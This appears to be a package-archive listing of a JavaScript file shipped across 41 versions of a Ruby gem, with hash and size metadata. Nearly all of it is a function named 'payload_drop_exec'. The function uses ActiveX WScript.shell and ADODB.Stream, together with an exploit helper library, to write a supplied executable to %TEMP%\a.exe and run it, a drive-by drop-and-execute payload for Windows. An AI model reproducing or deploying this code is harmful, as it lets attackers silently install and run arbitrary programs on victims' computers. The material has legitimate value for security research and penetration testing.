Sha256: d7978c5ae6529b6d4200331d55f103e626f6361ea77b595c561e5ca9ff8615b8
Contents?: true
Size: 699 Bytes
Versions: 41
Compression:
Stored size: 699 Bytes
Contents
function payload_drop_exec(pe) { this.execute = function(explib) { var WshShell = new ActiveXObject("WScript.shell"); var temp = WshShell.ExpandEnvironmentStrings("%TEMP%"); var filename = temp + "\\a.exe"; var bStream = new ActiveXObject("ADODB.Stream"); var txtStream = new ActiveXObject("ADODB.Stream"); bStream.Type = 1; txtStream.Type = 2; bStream.Open(); txtStream.Open(); explib.switchStreamOrigin(txtStream); txtStream.WriteText(pe); txtStream.Position = 2; txtStream.CopyTo( bStream ); txtStream.Close(); explib.switchStreamOrigin(bStream); bStream.SaveToFile(filename, 2); bStream.Close(); oExec = WshShell.Exec(filename); } return this; }
Version data entries
41 entries across 41 versions & 1 rubygems